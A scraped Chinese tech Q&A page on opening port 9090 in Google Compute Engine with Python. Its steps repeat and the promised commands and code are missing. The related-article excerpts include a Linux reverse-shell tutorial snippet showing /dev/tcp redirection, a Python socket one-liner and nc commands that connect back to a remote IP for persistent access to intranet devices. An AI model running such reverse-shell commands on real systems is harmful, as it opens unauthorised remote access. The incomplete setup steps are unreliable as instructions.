首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

如何使用Python在Google Compute Engine中打开特定的端口,如9090

在Google Compute Engine中使用Python打开特定的端口,如9090,可以通过以下步骤实现:

  1. 首先,确保已经创建了一个Google Compute Engine实例,并且已经安装了Python。
  2. 在Google Cloud Console中,找到您的实例,并确保已经启动。
  3. 使用SSH连接到您的实例。您可以在实例详细信息页面上找到SSH按钮,点击它以打开SSH终端。
  4. 在SSH终端中,使用以下命令安装必要的Python库:
  5. 在SSH终端中,使用以下命令安装必要的Python库:
  6. 安装完成后,使用以下命令打开特定的端口(例如9090):
  7. 安装完成后,使用以下命令打开特定的端口(例如9090):
  8. 这将创建一个名为"allow-9090"的防火墙规则,允许TCP流量通过9090端口。
  9. 现在,您可以使用Python编写一个简单的服务器程序来监听9090端口。以下是一个示例:
  10. 现在,您可以使用Python编写一个简单的服务器程序来监听9090端口。以下是一个示例:
  11. 这个简单的服务器程序将监听9090端口,并在接收到数据后将其发送回客户端。
  12. 保存上述代码为server.py文件,并在SSH终端中运行以下命令启动服务器:
  13. 保存上述代码为server.py文件,并在SSH终端中运行以下命令启动服务器:
  14. 现在,您的Python服务器将在Google Compute Engine实例上的9090端口上运行。

请注意,上述步骤仅涵盖了如何在Google Compute Engine中使用Python打开特定的端口。在实际应用中,您可能还需要考虑安全性和其他配置方面的问题。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

如何Google Cloud 上部署 EMQX 企业版

图片 2.如果您之前没有创建过 Virtual Machine,将跳转到 Compute Engine API 详情页面,点击 ENABLE 启用 Compute Engine API 以继续创建过程。... GCP 上打开防火墙端口 GCP 上安装服务或应用程序后,您需要手动开放所需端口才能够从外部访问它,请按照以下步骤 GCP 上打开所需端口。...图片 通过 MQTT X 快速测试 至此,您已经 GCP 上完成 EMQX 企业版安装并开通了所有需要端口,对应连接信息如下: 图片 下面我们使用 MQTT X 模拟物联网 MQTT 设备接入...协议,希望测试 SSL/TLS 认证连接,请使用 MQTT X 客户端 填入 VM instance 公共 IP 地址 Port: 填入 8083, 即 WebSockets 协议对应端口 其他选项保持默认配置...本系列后续博客,我们将继续向您介绍如何将设备从 GCP IoT Core 迁移到 EMQX 企业版,以及如何通过 EMQX 企业版 GCP Pub/Sub 集成无缝迁移 IoT Core 服务。

2.7K10

2014年9月26日 Go生态洞察:使用Docker部署Go服务器

本篇博客,我将详细介绍如何为一个简单Go Web应用创建Docker容器,并将其部署到Google Compute Engine上。...Web浏览器打开http://localhost:6060/,你应该能看到相应页面。...部署容器到Google Compute Engine Google提供了优化Google Compute Engine镜像,可以轻松启动运行任意Docker容器虚拟机。...学习更多 要了解有关Docker和Go更多信息,可以查看[Docker广泛文档](https://docs .docker.com/),以及Google Compute Engine相关页面。...Google Compute Engine 利用Google云平台部署容器化Go应用 总结 感谢大家阅读这篇文章,希望它能帮助你更好地理解如何使用Docker部署Go服务器。

10110

TPU使用说明

1.2 实用查询链接 Compute Engine 价格表 Compute Engine 价格计算器 1.3 价格计算实例 以下示例解释了如何计算一项训练作业总费用,该作业使用美国区域 TPU 资源和...他们还创建了一项 TPU 资源,其 Compute Engine 实例和 TPU 资源累计使用时间都是 10 小时。...$45.00 _ $45.95 使用抢占式 TPU 价格示例 以下示例使用资源和时长与上例相同,但这一次该研究机构决定使用抢占式 TPU 来节省成本。...通过向Cloud TPU服务帐户授予特定IAM角色(见下图),确保您Cloud TPU可以从GCP项目中获得所需资源。 执行其他检查。 将您登录到新Compute Engine VM。...Google也有提供如何在TPU上运行该代码教程:Training AmoebaNet-D on Cloud TPU 3.1 Colab上运行结果 为检验代码是否可以正常运行,采用Google提供伪造

3.3K00

构建端到端开源现代数据平台

在过去几年里,数据工程领域重要性突飞猛进,为加速创新和进步打开了大门——从今天开始,越来越多的人开始思考数据资源以及如何更好地利用它们。这一进步反过来又导致了数据技术“第三次浪潮”。...部署 Airbyte 对所有云提供商来说都是轻而易举事[16]。 GCP 上,我们将使用具有足够资源 Compute Engine 实例。...• dbt CLI:此选项允许直接与 dbt Core 交互,无论是通过使用 pip 本地安装它还是像之前部署 Airbyte 一样 Google Compute Engine 上运行 docker...我们将再次利用 Google Compute Engine 来启动一个 Superset 实例,我们将在该实例上通过 Docker Compose 运行一个容器。...与 Airbyte 和 Superset 一样,我们将通过 Google Compute Engine 实例部署 OpenMetadata(与往常一样,随附存储库中提供了 Terraform 和 init

5.4K10

K8s环境下监控告警平台搭建及配置

使用 kubectl port-forward 命令时,你需要指定要转发资源类型和名称,并指定本地端口和远程端口。...端口上启动一个转发服务,将所有发送到该端口请求转发到运行在 "my-pod" Pod 80 端口。...你可以使用本地浏览器或工具访问 localhost:8080 来与 Pod 进行交互。 类似地,你也可以使用 kubectl port-forward 命令转发到 Service 端口。...通过静默配置,可以防止某些特定警报触发通知,以避免不必要干扰或重复通知。 静默配置定义了特定条件下阻止警报通知规则。这些规则通常基于警报标签和标签值匹配。...通过使用静默配置,可以灵活地控制某些情况下抑制警报通知,例如: 阻止维护窗口期间触发通知。 抑制由特定部署环境引起虚假警报。 防止多个相关警报同时触发大量通知。

34510

多个套接字可以绑定同一个端口

日常开发过程,经常会遇到端口占用冲突问题。那是不是不同进程不能同时监听同一个端口呢?这个小节就来介绍 SO_REUSEPORT 选项相关内容。 通过阅读这个小节,你会学到如下知识。...这是因为 Linux 2.6 内核版本之前监听同一个 socket 多个进程事件发生时会唤醒所有等待进程, 2.6 版本引入了 WQ_FLAG_EXCLUSIVE 选项解决了 accept...GCC 编译上面的代码,两个终端运行这个可执行文件,第二次运行会 bind 端口失败,提示如下。...脚本请求 10 次 9090 端口服务,脚本内容如下。...监听端口号经过哈希算法运算打散到这些哈希桶,相同哈希端口采用拉链法解决冲突。

2.5K20

深度学习开发环境调查结果公布,你配置是这样吗?(附新环境配置)

最后,我们介绍了一种新开发环境配置:Jupyter + Tensorflow + Nvidia GPU + Docker + Google Compute Engine。...不久之前发布文章《业界 | 超越 R,Python 成为最受欢迎机器学习语言》,KDnuggets 与 O'Reilly 调查结果都表明,越来越多的人开始使用 Python 进行机器学习。...机器之心问卷,调查者反馈,虽然他们会使用其他编程语言,比如 R、C++,但实际运行程序编写还是主要使用 Python,简单、开发速度快是很大优势。...Jupyter + Tensorflow + Nvidia GPU + Docker + Google Compute Engine ?...这一部分,我们编译了一篇新深度学习开发环境配置:Jupyter + Tensorflow + Nvidia GPU + Docker + Google Compute Engine

88950

Linux下反弹Shell方法

日常工作,我们需要得到目标系统shell。局域网相对简单,而不在同一局域网或者是异地网络。那么如何让目标直接互通执行相关shell命令呢?.../是Linux一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接, >&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件...可以看到,我们腾讯云主机登录到了内网设备。 利用这种方法,我们可以在内网设备,路由器等,设置脚本让其指定时间执行此命令。方便后期登录。...执行命令 nc -lvp 9090 kali执行命令 python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,...姿势三 nc反弹 使用nc反弹shell,需要条件是被反弹shell机器安装了nc Centos上使用nc监听端口: nc -lvp 9090 目标机上使用nc去反向连接,命令如下: nc 123.6.44.67

2.1K30

【Docker项目实战】使用Docker部署linkding书签管理器

私有书签管理:由于linkding可以自己托管服务器上,所以可以确保书签安全性和隐私性,适合那些对隐私有更高要求用户。...docker exec -it linkding python manage.py createsuperuser --username=joe --email=joe@example.com使用docker...如果无法访问,则检查服务器防火墙是否设置,云服务器安全组端口是否放行等。6.2 登录linkding首页输入自己设置登录账号和密码,进入linkding首页。...七、linkding基本使用7.1 添加书签点击“Add bookmark”选项,新建书签。填写书签网址、标题等信息,保存即可。7.2 打开书签在首页书签列表,点击书签,则可以打开书签内容。...Linkding可以快速部署本地,并且具有美观简洁界面,即使是新手也可以轻松上手。使用Linkding可以获得良好使用体验,并且具有强大功能。

27110

教程 | 只需15分钟,使用谷歌云平台运行Jupyter Notebook

最近,我使用卷积神经网络进行计算机视觉方面的研究项目时,发现我 8GB RAM 笔记本电脑并不好用,它需要 1 个小时才能学完 1 个 epoch。...第 3 步:创建虚拟机实例(VM instance) 点击左上角三条线图标,compute」选项,选择「Compute Engine」。 ?...「protocols and ports」下,你可以选择任意端口。我选择 tcp:5000 作为我端口号。现在点击「save」按钮。 第 6 步:开始你 VM 实例 现在开始你 VM 实例。...看到绿色对勾后,点击 SSH。然后命令窗口打开,你已经进入虚拟机。 ?...Jupyter 配置文件添加几行;配置文件是纯文本,所以你可以用自己喜欢编辑器(,vim、emacs)添加。

3.1K80

TPU使用说明

1.2 实用查询链接 Compute Engine 价格表 Compute Engine 价格计算器 1.3 价格计算实例 以下示例解释了如何计算一项训练作业总费用,该作业使用美国区域 TPU 资源和...他们还创建了一项 TPU 资源,其 Compute Engine 实例和 TPU 资源累计使用时间都是 10 小时。...$45.00 _ $45.95 使用抢占式 TPU 价格示例 以下示例使用资源和时长与上例相同,但这一次该研究机构决定使用抢占式 TPU 来节省成本。...2.2.3 清理 最后一步,您将删除之前为本教程创建存储分区和对象。 2.3 打开Cloud Shell,使用ctpu工具 Shell控制台右上角,如下图示: ?...通过向Cloud TPU服务帐户授予特定IAM角色(见下图),确保您Cloud TPU可以从GCP项目中获得所需资源。 执行其他检查。 将您登录到新Compute Engine VM。

1.9K20

GCP 上的人工智能实用指南:第一、二部分

Kubernetes 集群下,Google 实际上正在运行 Compute Engine,因此我们 Compute Engine 上拥有的大多数优势将与 Kubernetes Engine 一起使用...本章,您将学习如何使用 Python 实现 XGBoost 算法。 您还将学习有关梯度提升概念以及它们如何支持 XGBoost 算法知识。...归根结底,我们将所有预测变量组合在一起,赋予每个预测变量一定权重。 这个页面上代码表示如何Python 完成梯度提升。 此代码用于 Python 实现梯度提升。...本章,我们将研究 ML 各种元素,包括 Google Cloud ML 以及如何使用 Google Cloud 机器学习引擎。...使用 Google AI 平台训练模型 在上一节,您学习了如何使用 Keras 框架训练模型。 本节,我们将在 Google Cloud AI Platform 上训练相同模型。

16.9K10

Google Serverless 产品对比:Cloud Run、Cloud Functions、App Engine

Cloud Functions 对代码部署方式施加了更多限制(显然易见,您需要将其打包为一个函数),并且仅支持一组特定语言(您可以使用 JavaScript、Node.js、Python 3,或 Go... Google App Engine ,您只需获取代码并将其部署到 Google 上,然后为您消耗资源付费-这在 App Engine 上作为包含一个或多个服务单个资源运行。...如上所示,使用单个命令从您应用程序目录在 Google App Engine 上部署 Hello World。 根据您特定需求,您可以两种类型 App Engine 环境中选择一种来运行代码。...如果您要运行需要快速扩容应用程序,并且使用 App Engine 支持特定语言版本编写,那么 Google 建议您使用标准环境。...对于具有更稳定流量应用程序,使用自定义运行时或不受支持编程语言 Docker 容器运行,或者要访问在运行在 Compute Engine Google Platform 项目的其他部分,请使用

3.2K00

EMQX Enterprise 4.4.11 发布:CRLOCSP Stapling、Google Cloud PubSub 集成、预定义 API 密钥

异步微服务集成:将 Pub/Sub 作为消息传递中间件,通过 pull 方式与后台业务集成;也可以推送订阅到 Google Cloud 各类服务 Cloud Functions、App Engine...、Cloud Run 或者 Kubernetes EngineCompute Engine自定义环境。...图片对于 Google IoT Core 用户,您无需做更多改变就能将 MQTT 传输层迁移至 EMQX,继续使用 Google Cloud 上应用和服务。...预设密钥可以帮助用户 EMQX 启动时做一些工作:运维人员编写运维脚本管理集群状态,开发者导入认证数据到内置数据库、初始化自定义配置参数。...修复了 SQL Server 资源,无法 server 字段里使用除 1433 之外端口问题。

2.1K30

使用 kubeadm GCP 部署 Kubernetes

这一套做下来,还是比较容易上手,kubeadm 提供是傻瓜式安装体验,所以难度主要还是访问外国网站和熟悉 GCP 命令上,接下来就详细记述一下如何操作. 1....GCP,需要先进行初始化.初始化过程中会有几次交互,使用默认选项即可.由于之前已经设置了代理,网络代理相关部分就可以跳过了....因为后面会使用 calico 作为网络插件,所以只开放 TCP, UDP 和 ICMP 是不够,还需要开放 BGP,但 GCP 防火墙规则没哟 BGP 选项,所以放开全部协议互通...Your public key has been saved in /home//.ssh/google_compute_engine.pub....$ ssh -l -i .ssh/google_compute_engine.pub 35.236.126.174 安装 kubeadm, docker, kubelet

2.1K20

【头条】NVIDIAVolta架构GV100大核心曝光;GPU终于可用于Google Compute Engine

从命名上来看,GV100跟现在GP100一样很相似,意味着它也可能是Volta家族大核心产品,主打高性能计算市场——不过这些信息还有待官方最终确认。...详情:http://www.leiphone.com/news/201702/MUFPidJt5taJuR0t.html GPU终于可用于Google Compute Engine和云计算机学习 今日(...2月22日),谷歌开发者社区(GDG)正式公布GPU现在可用于Google Compute Engine和云计算机学习。...目前为止,最多支持8个GPU(4 K80板)连接到Google Compute Engine自定义虚拟机,从而优化应用程序性能,目前已支持流行机器学习和深度学习框架,TensorFlow,Theano...详情:http://chinagdg.org/2017/02/gpus-are-now-available-for-google-compute-engine-and-cloud-machine-learning

92040

Google 基础架构安全设计概述

简介 本文档概述了如何将安全性植入 Google 技术基础架构。这一全球规模基础架构旨在让 Google 能够整个信息处理周期中提供安全保障。...总之,我们会为风险较高工作负载使用更多隔离层;例如,当针对用户提供数据运行复杂文件格式转换器时,或者当针对 Google App EngineGoogle Compute Engine 等产品运行用户提供代码时...我们将以 Google Compute Engine 作为示例服务,并将详细介绍基础架构之上构建、专门针对特定服务安全性改进。...Compute Engine 使客户能在 Google 基础架构上运行自己虚拟机。Compute Engine 实现涉及到若干逻辑组件,最显著是管理控制平面和虚拟机本身。...作为 Google Cloud Platform 一部分,Compute Engine 按照 GCP 客户数据使用政策使用客户数据,也就是说,除非为了向客户提供服务而有必要,否则 Google 不会访问或使用客户数据

1.6K10

Prometheus监控Docker-Swarm集群(一)

Prometheus监控Docker Swarm集群 (一) cAdvisor简介 为了解决容器监控问题,Google开发了一款容器监控工具cAdvisor(Container Advisor),它为容器用户提供了对其运行容器资源使用和性能特征直观展示...它是一个运行守护程序,用于收集,聚合,处理和导出有关正在运行容器信息。 cAdvisor可以对节点机器上资源及容器进行实时监控和性能数据采集,包括CPU、内存、网络及文件系统使用情况。...我们可以通过以下命令来实验环境虚拟机运行cAdvisor容器: Docker方式启动 docker run \ --volume=/:/rootfs:ro \ --volume=/var/run...up -d docker会自动去pull images,需要等一会,等待启动完成后,我们直接可以访问 http://192.168.1.220:8080 以上是为了大家能可以能够了解对于Docker监控是如何实现...,使用初始化账号密码,admin:admin进入,此时会提示你修改密码,修改成你需要密码即可。

1.1K20

【可扩展性】谷歌可扩展和弹性应用模式

Google Cloud 提供产品和功能可帮助您构建可扩展高效应用: Compute Engine 虚拟机和 Google Kubernetes Engine (GKE) 集群与自动扩缩器集成,可让您根据定义指标增加或缩减资源消耗... Google Cloud ,冗余通常是通过将您应用或服务部署到多个区域甚至多个区域来实现。如果一个服务存在于多个专区或地区,它可以更好地承受特定专区或地区服务中断。...借助 Compute Engine 托管实例组,您可以将虚拟机实例分布一个区域中多个地区,并将这些实例作为一个逻辑单元进行管理。...历史数据还可以帮助验证您应用是否关键时期支持业务目标。例如,这些数据可以帮助您分析您应用程序在过去几个季度甚至几年高流量促销活动如何扩展。...有关显示如何针对 REST 端点进行负载测试更详细示例,请参阅使用 Google Kubernetes Engine 进行分布式负载测试。 一种常见方法是确保关键指标保持不同负载预期水平内。

1.7K20
领券